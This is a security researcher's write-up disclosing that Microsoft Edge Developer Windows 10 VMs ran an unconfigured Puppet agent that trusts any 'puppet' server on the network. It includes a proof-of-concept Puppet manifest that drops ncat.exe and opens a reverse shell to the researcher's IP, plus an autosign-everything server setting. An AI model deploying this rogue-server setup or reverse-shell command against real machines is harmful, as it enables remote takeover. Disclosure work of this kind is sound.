The Microsoft Edge Developer VMs were images that Microsoft published to test out your website with different versions of Edge or Internet Explorer. The VMs contained a fully setup Windows with a limited license.

I found a way to execute any code on the VirtualBox Windows 10 variant of this VM if you are able to host a system at a specific DNS name with no user interaction required.

This VM was also at least popular with some reverse engineering tools. For example, up until March 2023 the flare-vm setup instructions pointed to those VMs (see this commit). Similarly, I have used it a lot when analyzing untrustworthy client software.

Some days ago I again was analyzing some software and noticed an odd process running on my machine. ruby.exe was being executed as SYSTEM.

Looking further into this, The full command line was  "C:\Program Files\Puppet Labs\Puppet\sys\ruby\bin\ruby.exe" -rubygems "C:\Program Files\Puppet Labs\Puppet\service\daemon.rb".

To make sure that I never installed this myself I downloaded the VM again. Microsoft stopped providing those VMs a while ago. You can still find them on archive.org however. After importing that VM, it also had the process running.

I have worked a lot with Puppet in the past. Puppet is a configuration management system. The agent basically applies changes to your system, either from local files or a central server. It is very strange that Microsoft would use it, they certainly have their own tools to configure systems automatically. I found no documentation mentioning that Puppet was installed on those VMs.

Inspecting the configuration of Puppet revealed nothing. It appears as if the agent was installed and not configured. This is concerning. If the puppet agent has no configuration, it will try to find a puppet server by simply connecting to the hostname puppet on port 8140/tcp. The OS will also happily append your DNS suffix list to this. If a puppet server answers, the agent will submit a certificate signing request to it, and just trust it. Basically granting it permission to perform any action on it.

To verify that this indeed works, we had to do a bit of software archeology. The installed agent version 3.8.7 was released in September 2015. Puppet does not provide an archive of their binary packages, thankfully some mirrors did retain them. After installing a CentOS 7 VM, setting its hostname to puppet, fetching the Puppet packages from the mirror, finding a few old EPEL packages and generally fixing the CentOS mirrors, a puppet server with version 3.8.7 was finally running.

To make our lives easier, the file /etc/puppet/autosign.conf was created with the content * so that our server would just sign any certificate any client would submit.

Next our payload was set up in the file /etc/puppet/manifests/site.pp like this:

file { 'c:\ncat.exe':
    ensure => present,
    mode   => '0777',
    source => "puppet:///modules/foo/ncat.exe",
}

exec { 'reverse':
    command => 'C:\ncat.exe 172.16.10.10 1337 -e cmd.exe',
    require => File['c:\ncat.exe'],
}

This manifest just copies ncat.exe from the puppet server, where it was placed in /etc/puppet/modules/foo/files/ncat.exe, to the agent. And afterwards that binary is used to create a reverse shell to our server. This will make Windows Defender unhappy, but for demonstration purposes it works fine if we are fast enough.

With all of this configuration in place, if a agent connects to our puppet server, their signing request is automatically approved and we start a reverse shell on it:

This is how the complete process looks like. The VM booting is a newly imported Windows 10 Edge Developer VM in which nobody has ever logged in. The puppet agent on the VM connects to our server, submits a certificate signing request and executes the manifest the server sends it. Zero interaction is required:

This is not limited to at boot time. If the puppet agent cannot connect to a server it will retry again in 30 minutes until it is successful. Any VM still running the puppet agent can be compromised at a later time.

I’m sure this doesn’t have a lot of impact.
Microsoft already no longer supports the Edge Developer VMs.
It is also unclear if this only affects the VirtualBox VM files and Windows 10 or others as well (e.g. Hyper-V images or Windows 7). The Windows 11 VirtualBox VM is not affected.

Still this was a fun little project. I’m still wondering how nobody ever noticed this.